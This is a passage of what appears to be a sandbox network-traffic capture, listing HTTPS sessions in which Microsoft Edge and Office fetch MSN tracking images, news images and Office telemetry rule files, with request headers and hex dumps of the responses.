G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49935	20.110.205.119	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:54 UTC	1279	OUT	GET /c.gif?rnd=1732757266483&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=94d1d7e75b7645a9b09cb13377ba9d4c&activityId=94d1d7e75b7645a9b09cb13377ba9d4c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=10CCBE50A8DC44048B0E72D4D14D5C66&MUID=3A49E4BF156D65780FA2F1FA140F641B HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A49E4BF156D65780FA2F1FA140F641B; _EDGE_S=F=1&SID=19C9549D1133664B3A1141D8109D6786; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-28 01:27:54 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A49E4BF156D65780FA2F1FA140F641B; domain=.msn.com; expires=Tue, 23-Dec-2025 01:27:54 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3A49E4BF156D65780FA2F1FA140F641B; domain=c.msn.com; expires=Tue, 23-Dec-2025 01:27:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 05-Dec-2024 01:27:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 28-Nov-2024 01:37:54 GMT; path=/; SameSite=None; Secure; Date: Thu, 28 Nov 2024 01:27:54 GMT Connection: close Content-Length: 42
2024-11-28 01:27:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:54 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:54 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:54 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012754Z-174f7845968pf68xhC1EWRr4h80000000y20000000003p61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:54 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49936	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:54 UTC	474	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=c12417e579054221b95d79c2c1ba9d67&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=29A043C5F5F06E4035685680F4926F46; MSPTC=KbPp6CPb8syBVPqptpxFrkw7HQrMcxnip6PoYWHLaz4; MR=0
2024-11-28 01:27:55 UTC	599	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9CAA13DB74E5455CB3399B70C483FEB8 Ref B: EWR30EDGE0711 Ref C: 2024-11-28T01:27:55Z Date: Thu, 28 Nov 2024 01:27:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:55 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:55 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012755Z-174f7845968vqt9xhC1EWRgten0000000xq000000000hxdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:55 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:55 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:55 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012755Z-174f7845968psccphC1EWRuz9s0000000xvg00000000ns1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:55 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:55 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:56 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012755Z-174f7845968cdxdrhC1EWRg0en0000000xng00000000g2z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:55 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:56 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:55 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012755Z-174f7845968swgbqhC1EWRmnb40000000y00000000000zd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:56 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:56 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:57 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 83136512-401e-00ac-3a5a-400a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012756Z-174f7845968n2hr8hC1EWR9cag0000000x8000000000qg5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:57 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49945	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:57 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 07:00:50 GMT X-Datacenter: eastus X-ActivityId: 159929e5-a1cb-4d8f-afcb-c81ae7dd9906 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSh X-Source-Length: 116060 Content-Length: 116060 Cache-Control: public, max-age=365544 Expires: Mon, 02 Dec 2024 07:00:21 GMT Date: Thu, 28 Nov 2024 01:27:57 GMT Connection: close
2024-11-28 01:27:57 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: dc b4 ba 4e d6 06 fd 6c 02 14 c9 bd 96 e5 ba dc 8d e3 b6 e8 89 2d ff 00 1e a1 c1 f0 f5 4b 6f 66 97 b0 db f8 3d 97 8e a1 46 cf df 87 c9 30 97 99 73 e3 ad a6 d9 89 2d 07 84 89 54 4b bc ad 2e 32 68 26 e7 2b 09 92 b6 c1 44 62 f3 13 c8 49 e5 70 15 68 2e 21 a0 12 4d 00 12 49 e8 2a 8e e0 f6 37 07 e3 73 89 98 48 73 63 f9 4b 44 4e d3 c5 02 5d 15 30 7a 98 b7 c9 4d a0 c3 10 c4 08 87 0a cc 02 38 b4 89 f9 2d 69 76 8b 81 22 0d c7 99 ad 77 fe 97 4d f6 24 21 e2 76 10 d9 10 09 81 22 44 d4 ef 7e a8 8e 6b ac 5a 5a 65 a2 43 65 ad 07 f8 92 60 13 99 8b 20 ae c2 e0 e3 89 c4 c8 00 38 03 2d ea ec 46 08 a4 5f 8a c1 88 d0 3a 48 22 00 fd b1 94 5d 0d a6 ff 00 8e 39 9f 29 9e db 10 6d 5d 92 8c ed 92 0d b6 e6 fd 91 db 3e 09 dc 69 e6 2e b4 c1 9f 2c e5 70 27 95 92 0c 44 61 6c f9 8d 37 22 Data Ascii: Nl-Kof=F0s-TK.2h&+DbIph.!MI*7sHscKDN]0zM8-iv"wM$!v"D~kZZeCe` 8-F_:H"]9)m]>i.,p'Dal7"
2024-11-28 01:27:57 UTC	2373	IN	Data Raw: 71 04 03 17 3c 43 a3 de 4a b5 92 05 29 b8 b0 9b d7 f1 36 b6 70 86 6c 4d 40 37 13 b6 46 f5 b2 06 b8 31 61 4a a9 05 d7 33 73 7b 89 82 77 be fd a8 2d 92 49 8b 45 f8 1e 22 be 29 85 89 cc 67 b1 cc 4c e5 9d 10 52 31 52 e4 f5 a4 67 1e c2 66 db f2 04 c7 08 1c 63 c7 75 b8 6c d2 21 dd 83 39 8b 5f c5 2b aa 37 cc 5c e7 65 96 93 41 b6 16 dc 1b 91 02 a4 52 d3 45 ae 75 ab 5e 9d 9f 4b 21 e9 e1 c2 41 02 66 d2 4e c6 7a 57 a7 44 7c c4 89 9d fc 0d 66 ca 82 b5 b8 c4 fe 30 2d f4 eb c4 a9 43 5e 72 e3 ba 87 e6 88 6b 8b 9a 4c 13 73 5c 89 81 9d fa a2 34 10 09 13 6b 5b dd 14 5d a4 f9 dd 51 02 36 02 3b 02 3b 49 61 02 48 c8 8a 72 34 51 01 c3 18 45 c8 ce f5 da 0d 95 6b dc 2f 37 1e f8 ae 6d ba b8 e6 c4 10 3b b8 db 64 9a 61 b8 bc b6 c5 58 b5 8c d4 99 b0 a2 8d a4 71 3d b2 4d 61 c1 bf c7 Data Ascii: q<CJ)6plM@7F1aJ3s{w-IE")gLR1Rgfcul!9_+7\eAREu^K!AfNzWD\|f0-C^rkLs\4k[]Q6;;IaHr4QEk/7m;daXq=Ma
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: 46 9c 26 12 d3 62 88 cd 3c 78 bc cc 6c 34 bb cc e8 98 c8 6e 76 0a 8a dc 38 5c 1d 33 12 d3 78 ea 20 0f 19 00 21 42 24 50 88 33 22 26 4d 85 4d 39 2a 7f 2a 8e 3e c2 05 68 b8 98 e6 60 73 85 a2 09 18 8c 5c 49 ac 0d f2 44 92 e2 31 3a c2 c2 4d 00 f7 44 3a 19 13 d0 fd d0 14 7f 90 89 2c 60 02 c4 8c 20 c5 ef 84 13 27 73 da 84 5a 41 c8 e5 6a 22 33 4d da 8e c2 d1 26 f5 20 01 02 4f 98 90 12 03 7b d2 0d 2d 97 0e d4 0b 10 6e 9a b3 17 ed fd 11 5c 1c e7 39 da 8e 33 69 c5 25 c6 82 06 2b 92 07 82 0d a6 fe c2 2b 60 c5 39 e7 de a8 9d 32 08 22 62 b6 35 1e 05 57 19 36 98 ca c0 5b 2b 0f 15 41 83 30 38 1b 84 42 81 29 a0 c4 c0 ac 0b 89 ec af 3a 26 00 41 93 7b 46 dc d2 10 83 69 6b 2c 5a 5b 11 70 6d 36 33 c8 f5 5b 62 45 eb d8 3b d0 59 f7 f4 4f 33 33 73 6b 84 ae c3 fb 4b 88 dc 88 e1 Data Ascii: F&b<xl4nv8\3x !B$P3"&MM9**>h`s\ID1:MD:,` 'sZAj"3M& O{-n\93i%++`92"b5W6[+A08B):&A{Fik,Z[pm63[bE;YO33skK
2024-11-28 01:27:57 UTC	16384	IN	Data Raw: 64 2b 84 c9 91 d1 dd 78 da bd 60 71 5d 2f 86 4b 48 3f 93 7b 63 a8 db ad d5 73 44 cd 49 e7 3c 72 3e 25 5d b3 a7 3a 29 22 e0 9e 63 f8 9c ed b8 94 3c 1f 4f 97 e9 d8 ba 5f 0a e6 00 39 91 97 23 97 3e c4 bf 0f f2 b9 81 43 15 e8 46 71 d1 36 69 cf c3 1c bc 3d f2 e0 b2 23 a4 78 70 db dd 94 ff 00 86 6d 06 e6 9d 47 43 9f f4 d9 2f c3 34 11 d3 28 e9 d0 f4 b2 6c d2 0c 11 ef df 87 35 6f 6e 9e fd 8a 29 b8 33 8b 7b ec 3e e1 2e 11 6b 4e fd 7e be 1d 15 44 7a e5 d7 87 d0 e6 32 c8 ad f9 1b 6d f4 28 d8 0e c7 e6 ae 03 7e 82 79 7d c7 b9 41 1e d7 e0 3b 7d d0 ab ef 8f e8 a4 60 8b 5a d7 fa 75 1e 23 aa 4c 1d 3d ec 7e c7 b5 00 ae b7 17 d9 3e 18 f7 ee fe ee b2 29 d9 ef df 62 a8 d6 9a 56 d3 d8 b6 68 91 60 27 ec 80 c1 e6 0f 40 3e a8 d8 88 9a d8 81 da a1 e2 b7 bf 7c 16 cf be 1f 70 a0 9c Data Ascii: d+x`q]/KH?{csDI<r>%]:)"c<O_9#>CFq6i=#xpmGC/4(l5on)3{>.kN~Dz2m(~y}A;}`Zu#L=~>)bVh`'@>\|p
